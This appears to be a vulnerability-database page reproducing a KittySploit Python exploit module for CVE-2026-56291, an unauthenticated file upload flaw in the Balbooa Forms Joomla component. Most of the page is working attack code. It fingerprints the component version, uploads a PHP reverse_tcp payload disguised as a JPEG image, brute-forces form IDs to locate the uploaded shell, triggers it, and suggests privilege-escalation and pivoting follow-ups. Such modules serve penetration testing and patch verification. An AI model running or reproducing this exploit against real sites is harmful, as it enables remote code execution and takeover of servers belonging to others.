Lucene search
+L

Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload RCE

🗓️ 14 Jul 2026 10:40:39Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated arbitrary file upload in Balbooa Forms enabling RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-56291 — Balbooa Forms (com_baforms) unauthenticated file upload RCE."""

from __future__ import annotations

import json
from typing import Any, Dict, List, Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.joomla_probe import BAFORMS_PATCHED_VERSION, BAFORMS_OPTION, Joomla

_BAFORMS_TASK = "form.uploadAttachmentFile"
_UPLOAD_DIRS = (
    "/images/baforms/uploads/form-{fid}/",
    "/images/baforms/uploads/form-0/",
    "/images/baforms/uploads/",
)


class Module(Exploit, Http_client, Joomla):
    __info__ = {
        "name": "Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload RCE",
        "description": (
            "CVE-2026-56291 — Balbooa Forms (com_baforms) < 2.4.1 exposes "
            "form.uploadAttachmentFile without CSRF or permission checks. "
            "Uploads the configured framework PHP payload (e.g. reverse_tcp) "
            "with attacker-controlled extension to images/baforms/uploads/."
        ),
        "author": ["Phil Taylor", "KittySploit Team"],
        "cve": ["CVE-2026-56291"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://www.cve.org/CVERecord?id=CVE-2026-56291",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-56291",
        ],
        "tags": [
            "joomla",
            "balbooa",
            "baforms",
            "file-upload",
            "rce",
            "unauthenticated",
            "cve-2026-56291",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 12,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["joomla", "php"],
                "confidence_min_any": {"joomla": 0.3, "php": 0.3},
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    form_id_max = OptPort(10, "Highest form_id to try (1..N)", False, advanced=True)
    skip_version_check = OptBool(
        False,
        "Attempt exploit when component version appears patched or unknown",
        False,
        advanced=True,
    )

    def _form_ids(self) -> range:
        upper = max(1, min(int(self.form_id_max or 10), 50))
        return range(1, upper + 1)

    def _upload_path(self, form_id: int) -> str:
        return (
            f"/index.php?option={BAFORMS_OPTION}"
            f"&task={_BAFORMS_TASK}&form_id={form_id}&format=json"
        )

    def _payload_php(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        php = str(payload or "").strip()
        if not php:
            raise ValueError("No payload configured — set payloads/singles/cmd/php/reverse_tcp")
        return php

    def _build_upload_body(self) -> bytes:
        source = self._payload_php()
        if not source.startswith("<?php"):
            source = f"<?php {source}"
        if not source.rstrip().endswith("?>"):
            source = source.rstrip() + " ?>"
        return source.encode("utf-8", errors="replace")

    @staticmethod
    def _parse_saved_name(response) -> Optional[str]:
        if not response or int(response.status_code or 0) not in (200, 201):
            return None
        text = (response.text or "").strip()
        if not text:
            return None
        try:
            data = json.loads(text)
        except (ValueError, json.JSONDecodeError):
            return None
        if isinstance(data, dict):
            return data.get("filename") or data.get("name")
        return None

    def _shell_paths(self, form_id: int, filename: str) -> List[str]:
        paths: List[str] = []
        for template in _UPLOAD_DIRS:
            base = template.replace("{fid}", str(form_id))
            if not base.endswith("/"):
                base += "/"
            paths.append(f"{base}{filename}")
        return paths

    def _candidates(self, stem: str, ext: str = "", saved: Optional[str] = None) -> List[str]:
        names: List[str] = []
        if saved:
            names.append(saved)
        if ext:
            names.append(f"{stem}.{ext}")
        for item in (f"{stem}.php", f"{stem}.phtml", stem):
            if item not in names:
                names.append(item)
        return names

    def _path_reachable(self, shell_path: str) -> bool:
        try:
            response = self.http_request(
                method="GET",
                path=shell_path,
                allow_redirects=True,
                timeout=int(self.timeout or 15),
            )
        except Exception:
            return True
        if not response:
            return False
        return int(response.status_code or 0) in (200, 500)

    def _trigger_payload(self, shell_path: str) -> bool:
        try:
            response = self.http_request(
                method="GET",
                path=shell_path,
                allow_redirects=True,
                timeout=int(self.timeout or 20),
            )
        except Exception:
            return True
        return bool(response)

    def _upload_payload(self, body: bytes, stem: str) -> Optional[Dict[str, Any]]:
        for form_id in self._form_ids():
            upload_path = self._upload_path(form_id)

            for ext in ("php", "phtml"):
                response = self.http_request(
                    method="POST",
                    path=upload_path,
                    data={"form_id": str(form_id), "name": stem, "ext": ext},
                    files={"file": ("img.jpg", body, "image/jpeg")},
                    timeout=int(self.timeout or 20),
                )
                saved = self._parse_saved_name(response)
                for name in self._candidates(stem, ext=ext, saved=saved):
                    for shell_path in self._shell_paths(form_id, name):
                        if self._path_reachable(shell_path):
                            return {
                                "path": shell_path,
                                "filename": name,
                                "form_id": form_id,
                                "vector": "name_ext_fields",
                            }

            for fname in (f"{stem}.php", f"{stem}.phtml"):
                response = self.http_request(
                    method="POST",
                    path=upload_path,
                    data={"form_id": str(form_id)},
                    files={"file": (fname, body, "image/jpeg")},
                    timeout=int(self.timeout or 20),
                )
                if not response or int(response.status_code or 0) not in (200, 201):
                    continue
                for shell_path in self._shell_paths(form_id, fname):
                    if self._path_reachable(shell_path):
                        return {
                            "path": shell_path,
                            "filename": fname,
                            "form_id": form_id,
                            "vector": "direct_filename",
                        }
        return None

    def check(self):
        joomla = self.probe_joomla()
        if not joomla.get("found"):
            return {"vulnerable": False, "reason": "Joomla not detected", "confidence": "low"}

        baforms = self.probe_baforms()
        if not baforms.get("found"):
            return {
                "vulnerable": False,
                "reason": "Balbooa Forms (com_baforms) not detected",
                "confidence": "low",
            }

        version = baforms.get("version")
        if version and self.baforms_is_patched(version) and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": f"Balbooa Forms {version} >= {BAFORMS_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        evidence = baforms.get("evidence") or BAFORMS_OPTION
        confidence = "high" if version else "medium"
        return {
            "vulnerable": True,
            "reason": (
                f"Balbooa Forms {version or 'unknown'} at {evidence}; "
                f"CVE-2026-56291 if < {BAFORMS_PATCHED_VERSION}"
            ),
            "confidence": confidence,
        }

    def run(self):
        try:
            print_status("CVE-2026-56291 — Balbooa Forms unauthenticated file upload RCE")

            if not str(self.payload or "").strip():
                print_error("No payload configured")
                return False

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            body = self._build_upload_body()
            stem = self.random_stem("ks")
            print_status(f"Uploading framework payload as {stem} via form.uploadAttachmentFile")

            uploaded = self._upload_payload(body, stem)
            if not uploaded:
                print_error("Upload failed — target may be patched or form_id out of range")
                return False

            shell_path = uploaded["path"]
            print_success(
                f"Payload uploaded ({uploaded['vector']}, form_id={uploaded['form_id']}): "
                f"{shell_path}"
            )

            print_status(f"Triggering payload: GET {shell_path}")
            self._trigger_payload(shell_path)
            print_success("Payload triggered — verify listener/session for reverse_tcp")
            self.vulnerable()
            return True

        except ValueError as exc:
            print_error(str(exc))
            return False
        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Aug 2026 13:55Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
CVSS 410
EPSS0.14854
SSVC
1